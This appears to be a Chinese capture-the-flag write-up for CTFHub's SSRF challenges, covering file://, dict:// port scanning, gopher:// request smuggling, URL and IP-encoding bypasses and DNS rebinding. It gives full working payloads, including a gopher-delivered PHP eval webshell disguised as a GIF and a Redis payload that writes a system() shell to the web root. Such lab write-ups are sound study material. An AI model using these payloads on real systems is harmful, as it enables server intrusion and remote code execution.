CTFHub-SSRF

内网访问

 

伪协议读取文件

url=file:///var/www/html/flag.php

端口扫描

 通过dict协议用来探测开放的端口
构造payload: ?url=dict://127.0.0.1:端口号
题目说端口在8000-9000
使用Burp的intruder模块进行爆破

然后开始爆破就行了。

嗯,8692

 

POST请求

访问flag.php,告诉我们必须要从本地访问

 

 源代码有key

需要我们用gopher协议去用post key到flag.php,不过需要注意的是要从127.0.0.1发送数据。使用方法:gopher://ip:port/_payload(注意下划线)

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d93819c4c1a18dc606dc5c6486f77227

特别要注意Content-Length应为字符串“key=d93819c4c1a18dc606dc5c6486f77227”的长度。

进行url三次编码即(注:第一次url编码后要手动在所有%0A前面加上%0D,再进行后续编码)

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=d93819c4c1a18dc606dc5c6486f77227

上传文件

 先看看flag.php

 没有提交选项,F12 修改前端代码,

<input type="submit" name="submit" >

 

看一下flag.php源码

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

发现会判断文件是否为空。 上传一个非空文件,bp拦截。

修改host为127.0.0.1:80,整段请求除了

全都复制下来url编码一次,%0a换成%0d%0a后,再url编码一次

拼接payload

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250d%250aHost%253A127.0.0.1%253A80%250d%250aUser-Agent%253A%2520Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A85.0)%2520Gecko%252F20100101%2520Firefox%252F85.0%250d%250aAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252Cimage%252Fwebp%252C*%252F*%253Bq%253D0.8%250d%250aAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250d%250aAccept-Encoding%253A%2520gzip%252C%2520deflate%250d%250aContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D---------------------------259295483530666699172933370572%250d%250aContent-Length%253A%2520422%250d%250aOrigin%253A%2520http%253A%252F%252Fchallenge-ee11623ebab1ab96.sandbox.ctfhub.com%253A10080%250d%250aConnection%253A%2520keep-alive%250d%250aReferer%253A%2520http%253A%252F%252Fchallenge-ee11623ebab1ab96.sandbox.ctfhub.com%253A10080%252F%253Furl%253D127.0.0.1%252Fflag.php%250d%250aUpgrade-Insecure-Requests%253A%25201%250d%250a%250d%250a-----------------------------259295483530666699172933370572%250d%250aContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522y.phtml%2522%250d%250aContent-Type%253A%2520application%252Foctet-stream%250d%250a%250d%250aGIF89a%250d%250a%253Cscript%2520language%253D%2522php%2522%253Eeval(%2524_POST%255B%27shell%27%255D)%253B%253C%252Fscript%253E%2520%250d%250a%250d%250a-----------------------------259295483530666699172933370572

 FastCGI协议

 我用了很多方法,不知道为什么总是 504 Gateway Time-out,直接奔溃。

https://blog.csdn.net/qq_45774670/article/details/109568987

https://blog.csdn.net/bmth666/article/details/104836708/

我尽力了,嘤嘤嘤。先放着吧。

Redis协议

可以看到,当我们把payload上传之后就可以用cmd参数在shell.php里操作。

工具:https://github.com/tarunkant/Gopherus

我们先将payload拼接在url后面

?url=gopher://127.0.0.1:6379/_*1%0D%0A%248%0D%0Aflushall%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A<%3Fphp system(%24_GET['cmd'])%3B %3F>%0A%0A%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A*1%0D%0A%244%0D%0Asave%0D%0A%0A

然后再

 发现过滤了空格,用${IFS}代替

 呃呃

 

okok.

URL Bypass

1.利用?绕过限制url=https://www.baidu.com?www.xxxx.me
2.利用@绕过限制url=https://www.baidu.com@www.xxxx.me
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过

数字IP Bypass

 这么一说,肯定就是其他进制数代替了。

127.0.0.1这个IP地址我们可以改写成:

  1. 8进制格式:0177.00.00.01
  2. 16进制格式:0x7f.0x0.0x0.0x1
  3. 10进制整数格式:2130706433
  4. 在linux下,0代表127.0.0.1,http://0进行请求127.0.0.1
  5. 也可以127.0.0.1—>localhost

   

302跳转 Bypass

 估计是题目有问题。

DNS重绑定 Bypass

 flag依旧直接出。题目有问题。。。

使用DNS重绑定,在网络上存在一个很神奇的服务,http://xip.io 当我们访问这个网站的子域名的时候,例如127.0.0.1.xip.io,就会自动重定向到127.0.0.1。
即:

?url=127.0.0.1.xip.io/flag.php

原文地址:https://www.cnblogs.com/tac2664/p/14350345.html